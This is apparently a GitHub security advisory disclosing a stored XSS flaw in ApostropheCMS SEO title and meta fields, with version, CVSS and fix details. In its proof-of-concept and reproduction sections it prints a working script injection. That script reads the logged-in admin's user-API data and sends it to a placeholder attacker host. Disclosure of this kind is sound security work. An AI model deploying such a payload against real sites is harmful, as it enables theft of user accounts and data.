Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

High **boutell** published **GHSA-855c-r2vq-c292** 2 weeks ago

Package

apostrophe (npm)

Affected versions	Patched versions
<= 4.28.0	4.29.0

Description

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

- `<title>`
- `<meta>` attributes

- structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

```
"></title><script>alert(1)</script>
```

This confirms:

- Improper output encoding
- Ability to escape `<title> / <meta>` contexts
- Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

```
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

1. Start a local listener: `python3 -m http.server 5656`
2. Login to ApostropheCMS as an authenticated user
3. Create or edit a page
4. Navigate to SEO settings

5. Insert the payload into the SEO Title field and Meta Description

```
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```

6. Set **Schema Type** to "Web page"
7. Save and publish the page
8. Have an administrator visit the page

Result

- The payload executes in the admin's browser
- The script sends a request to: `/api/v1/@apostrophecms/user`
- The response contains sensitive user data:
  - usernames
  - email addresses
  - roles (including admin)
- The data is exfiltrated to the attacker-controlled server:
  - `http://ATTACKER-IP:5656`

Evidence

- The attacker server receives:
  - `GET /?data=BASE64_ENCODED_RESPONSE`
- Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to:

- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs

- Exfiltrate sensitive data to an external attacker-controlled server

References

- Fix commit: `0e57dd0`
- https://www.cve.org/CVERecord?id=CVE-2026-35569
- https://nvd.nist.gov/vuln/detail/CVE-2026-35569
- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Severity

High 8.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-35569

Weaknesses

- CWE-79
- CWE-116

Credits

Chittu13 Reporter